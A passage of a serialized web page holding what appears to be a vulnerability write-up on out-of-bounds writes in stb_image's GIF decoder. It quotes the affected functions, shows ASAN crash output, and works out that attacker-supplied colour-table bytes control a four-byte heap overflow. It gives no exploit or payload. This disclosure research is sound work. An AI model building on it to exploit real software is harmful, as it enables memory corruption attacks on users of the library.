",{"type":24,"tag":158,"props":149265,"children":149266},{"style":222},[149267],{"type":29,"value":1285},{"type":24,"tag":158,"props":149269,"children":149270},{"style":177},[149271],{"type":29,"value":149227},{"type":24,"tag":158,"props":149273,"children":149274},{"style":188},[149275],{"type":29,"value":14991},{"type":24,"tag":158,"props":149277,"children":149278},{"style":177},[149279],{"type":29,"value":149280},"cur_x",{"type":24,"tag":158,"props":149282,"children":149283},{"style":222},[149284],{"type":29,"value":2308},{"type":24,"tag":158,"props":149286,"children":149287},{"style":177},[149288],{"type":29,"value":149227},{"type":24,"tag":158,"props":149290,"children":149291},{"style":188},[149292],{"type":29,"value":14991},{"type":24,"tag":158,"props":149294,"children":149295},{"style":177},[149296],{"type":29,"value":149218},{"type":24,"tag":158,"props":149298,"children":149299},{"style":188},[149300],{"type":29,"value":149301},"; \n",{"type":24,"tag":158,"props":149303,"children":149304},{"class":160,"line":700},[149305,149310,149314,149318,149322,149326,149330],{"type":24,"tag":158,"props":149306,"children":149307},{"style":188},[149308],{"type":29,"value":149309}," p ",{"type":24,"tag":158,"props":149311,"children":149312},{"style":222},[149313],{"type":29,"value":1285},{"type":24,"tag":158,"props":149315,"children":149316},{"style":222},[149317],{"type":29,"value":8784},{"type":24,"tag":158,"props":149319,"children":149320},{"style":177},[149321],{"type":29,"value":110576},{"type":24,"tag":158,"props":149323,"children":149324},{"style":188},[149325],{"type":29,"value":14991},{"type":24,"tag":158,"props":149327,"children":149328},{"style":177},[149329],{"type":29,"value":119999},{"type":24,"tag":158,"props":149331,"children":149332},{"style":188},[149333],{"type":29,"value":149334},"[idx];\n",{"type":24,"tag":158,"props":149336,"children":149337},{"class":160,"line":785},[149338,149343,149347,149352,149357,149361,149365,149369,149373,149377,149381],{"type":24,"tag":158,"props":149339,"children":149340},{"style":177},[149341],{"type":29,"value":149342}," g",{"type":24,"tag":158,"props":149344,"children":149345},{"style":188},[149346],{"type":29,"value":14991},{"type":24,"tag":158,"props":149348,"children":149349},{"style":177},[149350],{"type":29,"value":149351},"history",{"type":24,"tag":158,"props":149353,"children":149354},{"style":188},[149355],{"type":29,"value":149356},"[idx ",{"type":24,"tag":158,"props":149358,"children":149359},{"style":222},[149360],{"type":29,"value":6238},{"type":24,"tag":158,"props":149362,"children":149363},{"style":465},[149364],{"type":29,"value":2620},{"type":24,"tag":158,"props":149366,"children":149367},{"style":188},[149368],{"type":29,"value":2058},{"type":24,"tag":158,"props":149370,"children":149371},{"style":222},[149372],{"type":29,"value":1285},{"type":24,"tag":158,"props":149374,"children":149375},{"style":465},[149376],{"type":29,"value":1668},{"type":24,"tag":158,"props":149378,"children":149379},{"style":188},[149380],{"type":29,"value":50345},{"type":24,"tag":158,"props":149382,"children":149383},{"style":2588},[149384],{"type":29,"value":149385}," // OOB write\n",{"type":24,"tag":25,"props":149387,"children":149388},{},[149389,149391,149396,149398,149404,149406,149412],{"type":29,"value":149390},"It’s reasonable to assume ",{"type":24,"tag":154,"props":149392,"children":149394},{"className":149393},[],[149395],{"type":29,"value":77795},{"type":29,"value":149397}," is outside the bounds of ",{"type":24,"tag":154,"props":149399,"children":149401},{"className":149400},[],[149402],{"type":29,"value":149403},"g->history",{"type":29,"value":149405},", which leads to a one-byte OOB write (",{"type":24,"tag":154,"props":149407,"children":149409},{"className":149408},[],[149410],{"type":29,"value":149411},"g->history[idx / 4] = 1",{"type":29,"value":149413},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":24,"tag":25,"props":149415,"children":149416},{},[149417,149419,149424,149426,149432,149434,149439,149441,149447,149449,149455],{"type":29,"value":149418},"Because ",{"type":24,"tag":154,"props":149420,"children":149422},{"className":149421},[],[149423],{"type":29,"value":25},{"type":29,"value":149425}," is computed from ",{"type":24,"tag":154,"props":149427,"children":149429},{"className":149428},[],[149430],{"type":29,"value":149431},"g->out[idx]",{"type":29,"value":149433}," immediately before the violation, we considered whether ",{"type":24,"tag":154,"props":149435,"children":149437},{"className":149436},[],[149438],{"type":29,"value":77795},{"type":29,"value":149440}," could also be OOB for ",{"type":24,"tag":154,"props":149442,"children":149444},{"className":149443},[],[149445],{"type":29,"value":149446},"g->out",{"type":29,"value":149448},". Note that computing the address ",{"type":24,"tag":154,"props":149450,"children":149452},{"className":149451},[],[149453],{"type":29,"value":149454},"&g->out[idx]",{"type":29,"value":149456}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":24,"tag":25,"props":149458,"children":149459},{},[149460,149462,149467],{"type":29,"value":149461},"If we comment out ",{"type":24,"tag":154,"props":149463,"children":149465},{"className":149464},[],[149466],{"type":29,"value":149411},{"type":29,"value":149468}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":24,"tag":147,"props":149470,"children":149472},{"code":149471},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n [...]\n",[149473],{"type":24,"tag":154,"props":149474,"children":149475},{"__ignoreMap":7},[149476],{"type":29,"value":149471},{"type":24,"tag":25,"props":149478,"children":149479},{},[149480],{"type":29,"value":149481},"This corresponds to:",{"type":24,"tag":147,"props":149483,"children":149485},{"code":149484,"language":2907,"meta":7,"className":17751,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n [...]\n\n idx = g->cur_x + g->cur_y; \n p = &g->out[idx];\n g->history[idx / 4] = 1; \n\n c = &g->color_table[g->codes[code].suffix * 4];\n if (c[3] > 128) {\n p[0] = c[2]; // OOB write\n p[1] = c[1];\n p[2] = c[0];\n p[3] = c[3];\n }\n",[149486],{"type":24,"tag":154,"props":149487,"children":149488},{"__ignoreMap":7},[149489,149528,149535,149542,149549,149592,149623,149667,149674,149742,149782,149827,149866,149905,149944],{"type":24,"tag":158,"props":149490,"children":149491},{"class":160,"line":161},[149492,149496,149500,149504,149508,149512,149516,149520,149524],{"type":24,"tag":158,"props":149493,"children":149494},{"style":165},[149495],{"type":29,"value":52316},{"type":24,"tag":158,"props":149497,"children":149498},{"style":165},[149499],{"type":29,"value":52321},{"type":24,"tag":158,"props":149501,"children":149502},{"style":496},[149503],{"type":29,"value":149100},{"type":24,"tag":158,"props":149505,"children":149506},{"style":188},[149507],{"type":29,"value":149105},{"type":24,"tag":158,"props":149509,"children":149510},{"style":222},[149511],{"type":29,"value":577},{"type":24,"tag":158,"props":149513,"children":149514},{"style":177},[149515],{"type":29,"value":110576},{"type":24,"tag":158,"props":149517,"children":149518},{"style":188},[149519],{"type":29,"value":149118},{"type":24,"tag":158,"props":149521,"children":149522},{"style":177},[149523],{"type":29,"value":154},{"type":24,"tag":158,"props":149525,"children":149526},{"style":188},[149527],{"type":29,"value":2125},{"type":24,"tag":158,"props":149529,"children":149530},{"class":160,"line":213},[149531],{"type":24,"tag":158,"props":149532,"children":149533},{"style":188},[149534],{"type":29,"value":1710},{"type":24,"tag":158,"props":149536,"children":149537},{"class":160,"line":238},[149538],{"type":24,"tag":158,"props":149539,"children":149540},{"style":188},[149541],{"type":29,"value":149187},{"type":24,"tag":158,"props":149543,"children":149544},{"class":160,"line":259},[149545],{"type":24,"tag":158,"props":149546,"children":149547},{"emptyLinePlaceholder":16},[149548],{"type":29,"value":481},{"type":24,"tag":158,"props":149550,"children":149551},{"class":160,"line":280},[149552,149556,149560,149564,149568,149572,149576,149580,149584,149588],{"type":24,"tag":158,"props":149553,"children":149554},{"style":188},[149555],{"type":29,"value":149263},{"type":24,"tag":158,"props":149557,"children":149558},{"style":222},[149559],{"type":29,"value":1285},{"type":24,"tag":158,"props":149561,"children":149562},{"style":177},[149563],{"type":29,"value":149227},{"type":24,"tag":158,"props":149565,"children":149566},{"style":188},[149567],{"type":29,"value":14991},{"type":24,"tag":158,"props":149569,"children":149570},{"style":177},[149571],{"type":29,"value":149280},{"type":24,"tag":158,"props":149573,"children":149574},{"style":222},[149575],{"type":29,"value":2308},{"type":24,"tag":158,"props":149577,"children":149578},{"style":177},[149579],{"type":29,"value":149227},{"type":24,"tag":158,"props":149581,"children":149582},{"style":188},[149583],{"type":29,"value":14991},{"type":24,"tag":158,"props":149585,"children":149586},{"style":177},[149587],{"type":29,"value":149218},{"type":24,"tag":158,"props":149589,"children":149590},{"style":188},[149591],{"type":29,"value":149301},{"type":24,"tag":158,"props":149593,"children":149594},{"class":160,"line":301},[149595,149599,149603,149607,149611,149615,149619],{"type":24,"tag":158,"props":149596,"children":149597},{"style":188},[149598],{"type":29,"value":149309},{"type":24,"tag":158,"props":149600,"children":149601},{"style":222},[149602],{"type":29,"value":1285},{"type":24,"tag":158,"props":149604,"children":149605},{"style":222},[149606],{"type":29,"value":8784},{"type":24,"tag":158,"props":149608,"children":149609},{"style":177},[149610],{"type":29,"value":110576},{"type":24,"tag":158,"props":149612,"children":149613},{"style":188},[149614],{"type":29,"value":14991},{"type":24,"tag":158,"props":149616,"children":149617},{"style":177},[149618],{"type":29,"value":119999},{"type":24,"tag":158,"props":149620,"children":149621},{"style":188},[149622],{"type":29,"value":149334},{"type":24,"tag":158,"props":149624,"children":149625},{"class":160,"line":626},[149626,149630,149634,149638,149642,149646,149650,149654,149658,149662],{"type":24,"tag":158,"props":149627,"children":149628},{"style":177},[149629],{"type":29,"value":149342},{"type":24,"tag":158,"props":149631,"children":149632},{"style":188},[149633],{"type":29,"value":14991},{"type":24,"tag":158,"props":149635,"children":149636},{"style":177},[149637],{"type":29,"value":149351},{"type":24,"tag":158,"props":149639,"children":149640},{"style":188},[149641],{"type":29,"value":149356},{"type":24,"tag":158,"props":149643,"children":149644},{"style":222},[149645],{"type":29,"value":6238},{"type":24,"tag":158,"props":149647,"children":149648},{"style":465},[149649],{"type":29,"value":2620},{"type":24,"tag":158,"props":149651,"children":149652},{"style":188},[149653],{"type":29,"value":2058},{"type":24,"tag":158,"props":149655,"children":149656},{"style":222},[149657],{"type":29,"value":1285},{"type":24,"tag":158,"props":149659,"children":149660},{"style":465},[149661],{"type":29,"value":1668},{"type":24,"tag":158,"props":149663,"children":149664},{"style":188},[149665],{"type":29,"value":149666},"; \n",{"type":24,"tag":158,"props":149668,"children":149669},{"class":160,"line":668},[149670],{"type":24,"tag":158,"props":149671,"children":149672},{"emptyLinePlaceholder":16},[149673],{"type":29,"value":481},{"type":24,"tag":158,"props":149675,"children":149676},{"class":160,"line":676},[149677,149682,149686,149690,149694,149698,149703,149707,149711,149715,149720,149725,149730,149734,149738],{"type":24,"tag":158,"props":149678,"children":149679},{"style":188},[149680],{"type":29,"value":149681}," c ",{"type":24,"tag":158,"props":149683,"children":149684},{"style":222},[149685],{"type":29,"value":1285},{"type":24,"tag":158,"props":149687,"children":149688},{"style":222},[149689],{"type":29,"value":8784},{"type":24,"tag":158,"props":149691,"children":149692},{"style":177},[149693],{"type":29,"value":110576},{"type":24,"tag":158,"props":149695,"children":149696},{"style":188},[149697],{"type":29,"value":14991},{"type":24,"tag":158,"props":149699,"children":149700},{"style":177},[149701],{"type":29,"value":149702},"color_table",{"type":24,"tag":158,"props":149704,"children":149705},{"style":188},[149706],{"type":29,"value":2048},{"type":24,"tag":158,"props":149708,"children":149709},{"style":177},[149710],{"type":29,"value":110576},{"type":24,"tag":158,"props":149712,"children":149713},{"style":188},[149714],{"type":29,"value":14991},{"type":24,"tag":158,"props":149716,"children":149717},{"style":177},[149718],{"type":29,"value":149719},"codes",{"type":24,"tag":158,"props":149721,"children":149722},{"style":188},[149723],{"type":29,"value":149724},"[code].",{"type":24,"tag":158,"props":149726,"children":149727},{"style":177},[149728],{"type":29,"value":149729},"suffix",{"type":24,"tag":158,"props":149731,"children":149732},{"style":222},[149733],{"type":29,"value":615},{"type":24,"tag":158,"props":149735,"children":149736},{"style":465},[149737],{"type":29,"value":2620},{"type":24,"tag":158,"props":149739,"children":149740},{"style":188},[149741],{"type":29,"value":32835},{"type":24,"tag":158,"props":149743,"children":149744},{"class":160,"line":684},[149745,149749,149753,149757,149761,149765,149769,149773,149778],{"type":24,"tag":158,"props":149746,"children":149747},{"style":1914},[149748],{"type":29,"value":53916},{"type":24,"tag":158,"props":149750,"children":149751},{"style":188},[149752],{"type":29,"value":2262},{"type":24,"tag":158,"props":149754,"children":149755},{"style":177},[149756],{"type":29,"value":2907},{"type":24,"tag":158,"props":149758,"children":149759},{"style":188},[149760],{"type":29,"value":2048},{"type":24,"tag":158,"props":149762,"children":149763},{"style":465},[149764],{"type":29,"value":18534},{"type":24,"tag":158,"props":149766,"children":149767},{"style":188},[149768],{"type":29,"value":2058},{"type":24,"tag":158,"props":149770,"children":149771},{"style":222},[149772],{"type":29,"value":1280},{"type":24,"tag":158,"props":149774,"children":149775},{"style":465},[149776],{"type":29,"value":149777}," 128",{"type":24,"tag":158,"props":149779,"children":149780},{"style":188},[149781],{"type":29,"value":16038},{"type":24,"tag":158,"props":149783,"children":149784},{"class":160,"line":700},[149785,149790,149794,149798,149802,149806,149810,149814,149818,149822],{"type":24,"tag":158,"props":149786,"children":149787},{"style":177},[149788],{"type":29,"value":149789}," p",{"type":24,"tag":158,"props":149791,"children":149792},{"style":188},[149793],{"type":29,"value":2048},{"type":24,"tag":158,"props":149795,"children":149796},{"style":465},[149797],{"type":29,"value":5682},{"type":24,"tag":158,"props":149799,"children":149800},{"style":188},[149801],{"type":29,"value":2058},{"type":24,"tag":158,"props":149803,"children":149804},{"style":222},[149805],{"type":29,"value":1285},{"type":24,"tag":158,"props":149807,"children":149808},{"style":177},[149809],{"type":29,"value":38709},{"type":24,"tag":158,"props":149811,"children":149812},{"style":188},[149813],{"type":29,"value":2048},{"type":24,"tag":158,"props":149815,"children":149816},{"style":465},[149817],{"type":29,"value":4789},{"type":24,"tag":158,"props":149819,"children":149820},{"style":188},[149821],{"type":29,"value":57184},{"type":24,"tag":158,"props":149823,"children":149824},{"style":2588},[149825],{"type":29,"value":149826}," // OOB write\n",{"type":24,"tag":158,"props":149828,"children":149829},{"class":160,"line":785},[149830,149834,149838,149842,149846,149850,149854,149858,149862],{"type":24,"tag":158,"props":149831,"children":149832},{"style":177},[149833],{"type":29,"value":149789},{"type":24,"tag":158,"props":149835,"children":149836},{"style":188},[149837],{"type":29,"value":2048},{"type":24,"tag":158,"props":149839,"children":149840},{"style":465},[149841],{"type":29,"value":5672},{"type":24,"tag":158,"props":149843,"children":149844},{"style":188},[149845],{"type":29,"value":2058},{"type":24,"tag":158,"props":149847,"children":149848},{"style":222},[149849],{"type":29,"value":1285},{"type":24,"tag":158,"props":149851,"children":149852},{"style":177},[149853],{"type":29,"value":38709},{"type":24,"tag":158,"props":149855,"children":149856},{"style":188},[149857],{"type":29,"value":2048},{"type":24,"tag":158,"props":149859,"children":149860},{"style":465},[149861],{"type":29,"value":5672},{"type":24,"tag":158,"props":149863,"children":149864},{"style":188},[149865],{"type":29,"value":32835},{"type":24,"tag":158,"props":149867,"children":149868},{"class":160,"line":1447},[149869,149873,149877,149881,149885,149889,149893,149897,149901],{"type":24,"tag":158,"props":149870,"children":149871},{"style":177},[149872],{"type":29,"value":149789},{"type":24,"tag":158,"props":149874,"children":149875},{"style":188},[149876],{"type":29,"value":2048},{"type":24,"tag":158,"props":149878,"children":149879},{"style":465},[149880],{"type":29,"value":4789},{"type":24,"tag":158,"props":149882,"children":149883},{"style":188},[149884],{"type":29,"value":2058},{"type":24,"tag":158,"props":149886,"children":149887},{"style":222},[149888],{"type":29,"value":1285},{"type":24,"tag":158,"props":149890,"children":149891},{"style":177},[149892],{"type":29,"value":38709},{"type":24,"tag":158,"props":149894,"children":149895},{"style":188},[149896],{"type":29,"value":2048},{"type":24,"tag":158,"props":149898,"children":149899},{"style":465},[149900],{"type":29,"value":5682},{"type":24,"tag":158,"props":149902,"children":149903},{"style":188},[149904],{"type":29,"value":32835},{"type":24,"tag":158,"props":149906,"children":149907},{"class":160,"line":1509},[149908,149912,149916,149920,149924,149928,149932,149936,149940],{"type":24,"tag":158,"props":149909,"children":149910},{"style":177},[149911],{"type":29,"value":149789},{"type":24,"tag":158,"props":149913,"children":149914},{"style":188},[149915],{"type":29,"value":2048},{"type":24,"tag":158,"props":149917,"children":149918},{"style":465},[149919],{"type":29,"value":18534},{"type":24,"tag":158,"props":149921,"children":149922},{"style":188},[149923],{"type":29,"value":2058},{"type":24,"tag":158,"props":149925,"children":149926},{"style":222},[149927],{"type":29,"value":1285},{"type":24,"tag":158,"props":149929,"children":149930},{"style":177},[149931],{"type":29,"value":38709},{"type":24,"tag":158,"props":149933,"children":149934},{"style":188},[149935],{"type":29,"value":2048},{"type":24,"tag":158,"props":149937,"children":149938},{"style":465},[149939],{"type":29,"value":18534},{"type":24,"tag":158,"props":149941,"children":149942},{"style":188},[149943],{"type":29,"value":32835},{"type":24,"tag":158,"props":149945,"children":149946},{"class":160,"line":1527},[149947],{"type":24,"tag":158,"props":149948,"children":149949},{"style":188},[149950],{"type":29,"value":36011},{"type":24,"tag":25,"props":149952,"children":149953},{},[149954,149956,149961,149963,149968],{"type":29,"value":149955},"This confirms ",{"type":24,"tag":154,"props":149957,"children":149959},{"className":149958},[],[149960],{"type":29,"value":77795},{"type":29,"value":149962}," is OOB for ",{"type":24,"tag":154,"props":149964,"children":149966},{"className":149965},[],[149967],{"type":29,"value":149446},{"type":29,"value":149969}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":24,"tag":25,"props":149971,"children":149972},{},[149973,149975,149981,149983,149990],{"type":29,"value":149974},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":24,"tag":154,"props":149976,"children":149978},{"className":149977},[],[149979],{"type":29,"value":149980},"g->color_table",{"type":29,"value":149982}," is populated by ",{"type":24,"tag":101,"props":149984,"children":149987},{"href":149985,"rel":149986},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[105],[149988],{"type":29,"value":149989},"stbi__gif_parse_colortable",{"type":29,"value":225},{"type":24,"tag":147,"props":149992,"children":149994},{"code":149993,"language":2907,"meta":7,"className":17751,"style":7},"static void stbi__gif_parse_colortable(\n stbi__context *s,\n stbi_uc pal[256][4], // g->color_table\n int num_entries,\n int transp\n) {\n int i;\n for (i=0; i \u003C num_entries; ++i) {\n pal[i][2] = stbi__get8(s);\n pal[i][1] = stbi__get8(s);\n pal[i][0] = stbi__get8(s);\n pal[i][3] = transp == i ? 0 : 255;\n }\n}\n",[149995],{"type":24,"tag":154,"props":149996,"children":149997},{"__ignoreMap":7},[149998,150018,150038,150077,150093,150105,150112,150123,150166,150200,150231,150262,150319,150326],{"type":24,"tag":158,"props":149999,"children":150000},{"class":160,"line":161},[150001,150005,150009,150014],{"type":24,"tag":158,"props":150002,"children":150003},{"style":165},[150004],{"type":29,"value":52316},{"type":24,"tag":158,"props":150006,"children":150007},{"style":165},[150008],{"type":29,"value":52321},{"type":24,"tag":158,"props":150010,"children":150011},{"style":496},[150012],{"type":29,"value":150013}," stbi__gif_parse_colortable",{"type":24,"tag":158,"props":150015,"children":150016},{"style":188},[150017],{"type":29,"value":2156},{"type":24,"tag":158,"props":150019,"children":150020},{"class":160,"line":213},[150021,150026,150030,150034],{"type":24,"tag":158,"props":150022,"children":150023},{"style":188},[150024],{"type":29,"value":150025}," stbi__context ",{"type":24,"tag":158,"props":150027,"children":150028},{"style":222},[150029],{"type":29,"value":577},{"type":24,"tag":158,"props":150031,"children":150032},{"style":177},[150033],{"type":29,"value":1472},{"type":24,"tag":158,"props":150035,"children":150036},{"style":188},[150037],{"type":29,"value":235},{"type":24,"tag":158,"props":150039,"children":150040},{"class":160,"line":238},[150041,150046,150051,150055,150059,150063,150067,150072],{"type":24,"tag":158,"props":150042,"children":150043},{"style":188},[150044],{"type":29,"value":150045}," stbi_uc ",{"type":24,"tag":158,"props":150047,"children":150048},{"style":177},[150049],{"type":29,"value":150050},"pal",{"type":24,"tag":158,"props":150052,"children":150053},{"style":188},[150054],{"type":29,"value":2048},{"type":24,"tag":158,"props":150056,"children":150057},{"style":465},[150058],{"type":29,"value":94573},{"type":24,"tag":158,"props":150060,"children":150061},{"style":188},[150062],{"type":29,"value":50229},{"type":24,"tag":158,"props":150064,"children":150065},{"style":465},[150066],{"type":29,"value":18767},{"type":24,"tag":158,"props":150068,"children":150069},{"style":188},[150070],{"type":29,"value":150071},"],",{"type":24,"tag":158,"props":150073,"children":150074},{"style":2588},[150075],{"type":29,"value":150076}," // g->color_table\n",{"type":24,"tag":158,"props":150078,"children":150079},{"class":160,"line":259},[150080,150084,150089],{"type":24,"tag":158,"props":150081,"children":150082},{"style":165},[150083],{"type":29,"value":20319},{"type":24,"tag":158,"props":150085,"children":150086},{"style":177},[150087],{"type":29,"value":150088}," num_entries",{"type":24,"tag":158,"props":150090,"children":150091},{"style":188},[150092],{"type":29,"value":235},{"type":24,"tag":158,"props":150094,"children":150095},{"class":160,"line":280},[150096,150100],{"type":24,"tag":158,"props":150097,"children":150098},{"style":165},[150099],{"type":29,"value":20319},{"type":24,"tag":158,"props":150101,"children":150102},{"style":188},[150103],{"type":29,"value":150104}," transp\n",{"type":24,"tag":158,"props":150106,"children":150107},{"class":160,"line":301},[150108],{"type":24,"tag":158,"props":150109,"children":150110},{"style":188},[150111],{"type":29,"value":16038},{"type":24,"tag":158,"props":150113,"children":150114},{"class":160,"line":626},[150115,150119],{"type":24,"tag":158,"props":150116,"children":150117},{"style":165},[150118],{"type":29,"value":149167},{"type":24,"tag":158,"props":150120,"children":150121},{"style":188},[150122],{"type":29,"value":59237},{"type":24,"tag":158,"props":150124,"children":150125},{"class":160,"line":668},[150126,150131,150136,150140,150144,150148,150152,150157,150161],{"type":24,"tag":158,"props":150127,"children":150128},{"style":1914},[150129],{"type":29,"value":150130}," for",{"type":24,"tag":158,"props":150132,"children":150133},{"style":188},[150134],{"type":29,"value":150135}," (i",{"type":24,"tag":158,"props":150137,"children":150138},{"style":222},[150139],{"type":29,"value":1285},{"type":24,"tag":158,"props":150141,"children":150142},{"style":465},[150143],{"type":29,"value":5682},{"type":24,"tag":158,"props":150145,"children":150146},{"style":188},[150147],{"type":29,"value":52505},{"type":24,"tag":158,"props":150149,"children":150150},{"style":222},[150151],{"type":29,"value":3760},{"type":24,"tag":158,"props":150153,"children":150154},{"style":188},[150155],{"type":29,"value":150156}," num_entries; ",{"type":24,"tag":158,"props":150158,"children":150159},{"style":222},[150160],{"type":29,"value":52541},{"type":24,"tag":158,"props":150162,"children":150163},{"style":188},[150164],{"type":29,"value":150165},"i) {\n",{"type":24,"tag":158,"props":150167,"children":150168},{"class":160,"line":676},[150169,150174,150178,150182,150186,150190,150195],{"type":24,"tag":158,"props":150170,"children":150171},{"style":177},[150172],{"type":29,"value":150173}," pal",{"type":24,"tag":158,"props":150175,"children":150176},{"style":188},[150177],{"type":29,"value":61928},{"type":24,"tag":158,"props":150179,"children":150180},{"style":465},[150181],{"type":29,"value":4789},{"type":24,"tag":158,"props":150183,"children":150184},{"style":188},[150185],{"type":29,"value":2058},{"type":24,"tag":158,"props":150187,"children":150188},{"style":222},[150189],{"type":29,"value":1285},{"type":24,"tag":158,"props":150191,"children":150192},{"style":496},[150193],{"type":29,"value":150194}," stbi__get8",{"type":24,"tag":158,"props":150196,"children":150197},{"style":188},[150198],{"type":29,"value":150199},"(s);\n",{"type":24,"tag":158,"props":150201,"children":150202},{"class":160,"line":684},[150203,150207,150211,150215,150219,150223,150227],{"type":24,"tag":158,"props":150204,"children":150205},{"style":177},[150206],{"type":29,"value":150173},{"type":24,"tag":158,"props":150208,"children":150209},{"style":188},[150210],{"type":29,"value":61928},{"type":24,"tag":158,"props":150212,"children":150213},{"style":465},[150214],{"type":29,"value":5672},{"type":24,"tag":158,"props":150216,"children":150217},{"style":188},[150218],{"type":29,"value":2058},{"type":24,"tag":158,"props":150220,"children":150221},{"style":222},[150222],{"type":29,"value":1285},{"type":24,"tag":158,"props":150224,"children":150225},{"style":496},[150226],{"type":29,"value":150194},{"type":24,"tag":158,"props":150228,"children":150229},{"style":188},[150230],{"type":29,"value":150199},{"type":24,"tag":158,"props":150232,"children":150233},{"class":160,"line":700},[150234,150238,150242,150246,150250,150254,150258],{"type":24,"tag":158,"props":150235,"children":150236},{"style":177},[150237],{"type":29,"value":150173},{"type":24,"tag":158,"props":150239,"children":150240},{"style":188},[150241],{"type":29,"value":61928},{"type":24,"tag":158,"props":150243,"children":150244},{"style":465},[150245],{"type":29,"value":5682},{"type":24,"tag":158,"props":150247,"children":150248},{"style":188},[150249],{"type":29,"value":2058},{"type":24,"tag":158,"props":150251,"children":150252},{"style":222},[150253],{"type":29,"value":1285},{"type":24,"tag":158,"props":150255,"children":150256},{"style":496},[150257],{"type":29,"value":150194},{"type":24,"tag":158,"props":150259,"children":150260},{"style":188},[150261],{"type":29,"value":150199},{"type":24,"tag":158,"props":150263,"children":150264},{"class":160,"line":785},[150265,150269,150273,150277,150281,150285,150290,150294,150298,150302,150306,150310,150315],{"type":24,"tag":158,"props":150266,"children":150267},{"style":177},[150268],{"type":29,"value":150173},{"type":24,"tag":158,"props":150270,"children":150271},{"style":188},[150272],{"type":29,"value":61928},{"type":24,"tag":158,"props":150274,"children":150275},{"style":465},[150276],{"type":29,"value":18534},{"type":24,"tag":158,"props":150278,"children":150279},{"style":188},[150280],{"type":29,"value":2058},{"type":24,"tag":158,"props":150282,"children":150283},{"style":222},[150284],{"type":29,"value":1285},{"type":24,"tag":158,"props":150286,"children":150287},{"style":188},[150288],{"type":29,"value":150289}," transp ",{"type":24,"tag":158,"props":150291,"children":150292},{"style":222},[150293],{"type":29,"value":1034},{"type":24,"tag":158,"props":150295,"children":150296},{"style":188},[150297],{"type":29,"value":55816},{"type":24,"tag":158,"props":150299,"children":150300},{"style":222},[150301],{"type":29,"value":4820},{"type":24,"tag":158,"props":150303,"children":150304},{"style":465},[150305],{"type":29,"value":2025},{"type":24,"tag":158,"props":150307,"children":150308},{"style":222},[150309],{"type":29,"value":36379},{"type":24,"tag":158,"props":150311,"children":150312},{"style":465},[150313],{"type":29,"value":150314}," 255",{"type":24,"tag":158,"props":150316,"children":150317},{"style":188},[150318],{"type":29,"value":473},{"type":24,"tag":158,"props":150320,"children":150321},{"class":160,"line":1447},[150322],{"type":24,"tag":158,"props":150323,"children":150324},{"style":188},[150325],{"type":29,"value":36011},{"type":24,"tag":158,"props":150327,"children":150328},{"class":160,"line":1509},[150329],{"type":24,"tag":158,"props":150330,"children":150331},{"style":188},[150332],{"type":29,"value":307},{"type":24,"tag":25,"props":150334,"children":150335},{},[150336,150338,150343,150344,150349,150351,150356],{"type":29,"value":150337},"The first three bytes are read from the input image, while the last byte can be either ",{"type":24,"tag":154,"props":150339,"children":150341},{"className":150340},[],[150342],{"type":29,"value":5682},{"type":29,"value":4028},{"type":24,"tag":154,"props":150345,"children":150347},{"className":150346},[],[150348],{"type":29,"value":114621},{"type":29,"value":150350},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":24,"tag":154,"props":150352,"children":150354},{"className":150353},[],[150355],{"type":29,"value":31107},{"type":29,"value":225},{"type":24,"tag":147,"props":150358,"children":150360},{"code":150359,"language":2907,"meta":7,"className":17751,"style":7}," c = &g->color_table[g->codes[code].suffix * 4];\n if (c[3] > 128) {\n p[0] = c[2];\n p[1] = c[1];\n p[2] = c[0];\n p[3] = c[3];\n }\n",[150361],{"type":24,"tag":154,"props":150362,"children":150363},{"__ignoreMap":7},[150364,150427,150466,150505,150544,150583,150622],{"type":24,"tag":158,"props":150365,"children":150366},{"class":160,"line":161},[150367,150371,150375,150379,150383,150387,150391,150395,150399,150403,150407,150411,150415,150419,150423],{"type":24,"tag":158,"props":150368,"children":150369},{"style":188},[150370],{"type":29,"value":149681},{"type":24,"tag":158,"props":150372,"children":150373},{"style":222},[150374],{"type":29,"value":1285},{"type":24,"tag":158,"props":150376,"children":150377},{"style":222},[150378],{"type":29,"value":8784},{"type":24,"tag":158,"props":150380,"children":150381},{"style":188},[150382],{"type":29,"value":110576},{"type":24,"tag":158,"props":150384,"children":150385},{"style":222},[150386],{"type":29,"value":14991},{"type":24,"tag":158,"props":150388,"children":150389},{"style":177},[150390],{"type":29,"value":149702},{"type":24,"tag":158,"props":150392,"children":150393},{"style":188},[150394],{"type":29,"value":2048},{"type":24,"tag":158,"props":150396,"children":150397},{"style":177},[150398],{"type":29,"value":110576},{"type":24,"tag":158,"props":150400,"children":150401},{"style":188},[150402],{"type":29,"value":14991},{"type":24,"tag":158,"props":150404,"children":150405},{"style":177},[150406],{"type":29,"value":149719},{"type":24,"tag":158,"props":150408,"children":150409},{"style":188},[150410],{"type":29,"value":149724},{"type":24,"tag":158,"props":150412,"children":150413},{"style":177},[150414],{"type":29,"value":149729},{"type":24,"tag":158,"props":150416,"children":150417},{"style":222},[150418],{"type":29,"value":615},{"type":24,"tag":158,"props":150420,"children":150421},{"style":465},[150422],{"type":29,"value":2620},{"type":24,"tag":158,"props":150424,"children":150425},{"style":188},[150426],{"type":29,"value":32835},{"type":24,"tag":158,"props":150428,"children":150429},{"class":160,"line":213},[150430,150434,150438,150442,150446,150450,150454,150458,150462],{"type":24,"tag":158,"props":150431,"children":150432},{"style":1914},[150433],{"type":29,"value":53916},{"type":24,"tag":158,"props":150435,"children":150436},{"style":188},[150437],{"type":29,"value":2262},{"type":24,"tag":158,"props":150439,"children":150440},{"style":177},[150441],{"type":29,"value":2907},{"type":24,"tag":158,"props":150443,"children":150444},{"style":188},[150445],{"type":29,"value":2048},{"type":24,"tag":158,"props":150447,"children":150448},{"style":465},[150449],{"type":29,"value":18534},{"t